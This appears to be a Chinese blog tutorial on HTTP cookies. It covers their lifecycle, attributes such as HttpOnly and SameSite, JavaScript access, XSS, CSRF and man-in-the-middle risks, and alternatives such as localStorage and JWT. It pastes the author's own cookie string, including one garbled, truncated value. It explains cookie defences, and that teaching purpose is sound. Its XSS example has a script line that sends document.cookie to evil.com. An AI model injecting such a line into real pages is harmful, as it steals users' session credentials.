一、为什么需要 Cookie?
- HTTP 无状态:服务器无法识别第二次请求的同一个用户,因此每次都要重新登录。
- Cookie 作为"身份凭证":让服务器能够识别连续请求来自同一个浏览器。

如上图,这就是我的 cookie。
二、Cookie 的完整生命周期
|----------|------------|---------------------|------------------------|
| 步骤 | 方向 | 字段/操作 | 说明 |
| 1. 下发 | 服务器 → 浏览器 | Set-Cookie 响应头 | 服务器告诉浏览器保存哪些键值对 |
| 2. 保存 | 浏览器本地 | 内存 或 磁盘文件 | 根据是否有过期时间决定存储位置 |
| 3. 携带 | 浏览器 → 服务器 | Cookie 请求头 | 后续同域请求自动附上符合条件的 Cookie |
| 4. 修改/删除 | 浏览器(JS/工具) | document.cookie 或手动 | 客户端可增删改查(明文、可篡改) |
三、Cookie 的属性详解
除了 name=value 外,服务器可通过 Set-Cookie 附加以下属性(用分号隔开):

|----------|-------------------|---------------------------------------|----------------------|
| 属性 | 作用 | 示例 | 注意点 |
| Expires | 绝对过期时间(GMT格式) | Expires=Wed, 21 Oct 2026 07:28:00 GMT | 未设置则为会话级 Cookie(内存) |
| Max-Age | 相对过期时间(秒) | Max-Age=86400 | 优先级高于 Expires ,现代推荐 |
| Domain | 允许发送 Cookie 的域名 | Domain=.example.com | .example.com 所有子域名可用 |
| Path | 允许发送 Cookie 的路径前缀 | Path=/shop | 仅 /shop 及其子路径发送 |
| Secure | 仅 HTTPS 连接发送 | Secure | 防止明文传输被截获 |
| HttpOnly | 禁止 JavaScript 读取 | HttpOnly | 防 XSS 攻击,强烈推荐 |
| SameSite | 跨站请求是否携带 | SameSite=Lax / Strict / None | 防御 CSRF 攻击 |
| Priority | 浏览器清理 Cookie 的优先级 | Priority=High | 较少用,低优先级可能被优先删除 |

重点说明:
- HttpOnly:加后 document.cookie 无法读取,防御 XSS 盗取 Cookie。

- SameSite :
- Strict:完全禁止跨站发送。
- Lax(默认):仅顶级跳转带,第三方图片/iframe/AJAX 不带。
- None:允许跨站发送,但必须设置 Secure(HTTPS)。
四、JavaScript 操作 Cookie(客户端视角)
浏览器通过 document.cookie 读写 Cookie,但受 HttpOnly 属性限制。
1. 设置/修改 Cookie

内容解析
uid_tt_dd=10_36830887420-1796766589524-902230;
c_pref=default;
fid=20_38279923311-177967658870-175593;
c_first_ref=default;
c_first_page=https%3A//www.csdn.net/%3Fspm%3D1001.2101.3001.4476;
dc_sid=025733b08d3f9681bcb121f1bb350e;
c_ab_test=1;
bc_bot_session=17797676746d7858e4cbcace75c;
hide_login=1;
HMACCOUNT=762E72F35B1D96;
UserNick=CrispyChicken1477;
UserNick=E%E4%BD%A0%E8%A7%89%E5%BE%97%E8%84%86%E7%9A%AE%E9%B8%81%E5%B1%85%E5%90%8C%E5%90%8C%E5%90%8C%E5%90%91%E5%90%8C%E5%90%92%E5%90%8C%E5%90%8C%E5%90%8C%E5%90%93%E5%90%8C%E5%90%94%E5%90%8C%E5%90%8C%E5%90%8C%E5%90%95%E5%90%8C%E5%90%9C%E5%90%8C%E5%90%8C%E5%90%8C%E5%90% ;
BT=1779767679878;
p_uid=U010000;
c_dsid=11_17797676745502.164051;
c_sidebar-collapse=0;
csdn_newcert_CrispyChicken1477=1;
csdn_newcert_CrispyChicken1477=1;
csdn_newcert_crispy_chicken1477=1;
csdn_newcert_crispy_chicken1477=1;
bc_bot_rules=-;
bc_bot_score=100;
bc_bot_fp=bed9564d621d05917806E67567c2d;
_click=1jet24%5E2%5Eg6%5E0%5E2336;
c_page_id=default;
Hm_lvt_6bc52f51e9b3dce32bec4a3997715ac=1779767659214.680610;
log_Id_view=177;
log_Id_click=4
在 document.cookie 输出中,我们可以看到当前 CSDN 页面在浏览器中存储的 所有非 HttpOnly 的 Cookie。这些 Cookie 主要用于用户识别、会话保持、个性化设置和流量统计等。
这个字符串实际上是由 多个独立的 Cookie 组成的,每个 Cookie 格式为 name=value,彼此之间用 ;(分号+空格)分隔。总共有 20+ 个 Cookie。
五、Cookie 的安全问题及防御
|-----------|-------------------------------------|---------------------------------------------------|
| 攻击类型 | 原理 | 防御方法 |
| XSS | 恶意 JS 读取 document.cookie 并发送到攻击者服务器 | 设置 HttpOnly ;用户输入过滤/转义 |
| CSRF | 恶意网站诱导浏览器自动携带 Cookie 发伪造请求 | SameSite=Lax / Strict ;Anti-CSRF Token;验证 Referer |
| 中间人攻击 | 明文 HTTP 下窃取 Cookie | 全站启用 HTTPS;设置 Secure 属性 |
举例:XSS 盗取 Cookie
// 攻击者注入 <script> fetch('https://evil.com/steal?cookie=' + document.cookie);
如果登录 Cookie 没有 HttpOnly ,攻击者可拿到会话凭证。
举例:SameSite 防御 CSRF
// 银行网站 set-cookie: sessionId=abc; SameSite=Lax // 攻击网站构造表单提交到银行转账接口,
浏览器不会携带该 Cookie(不是顶级导航),请求被拒绝。
六、Cookie 与现代 Web 存储的对比
随着前端发展,Cookie 不再适合存储大量或复杂结构数据,现代方案有:
|--------------------|--------|------------|------------|----------------|
| 存储方式 | 大小限制 | 生命周期 | 是否自动发送 | 适用场景 |
| Cookie | 4KB | 可设置 | 是(同域请求自动带) | 会话凭证、少量跨请求数据 |
| localStorage | 5-10MB | 永久(除非手动清除) | 否 | 用户偏好、非敏感数据 |
| sessionStorage | 5-10MB | 标签页关闭即消失 | 否 | 单次会话临时数据 |
| IndexedDB | 几百 MB+ | 永久 | 否 | 大量结构化数据(如离线存储) |
| Token(JWT) | 通常较大 | 可设置 | 否(需手动放请求头) | 前后端分离、移动端 |
Cookie 仍然是目前 Web 浏览器环境下 保存登录状态的主流方式(尤其是配合 HttpOnly 和 SameSite 之后)。
只是在某些特定场景(移动端 App、纯后端 API 服务、前后端完全分离且无浏览器环境)中,会改用 Token(如 JWT)+ Authorization 请求头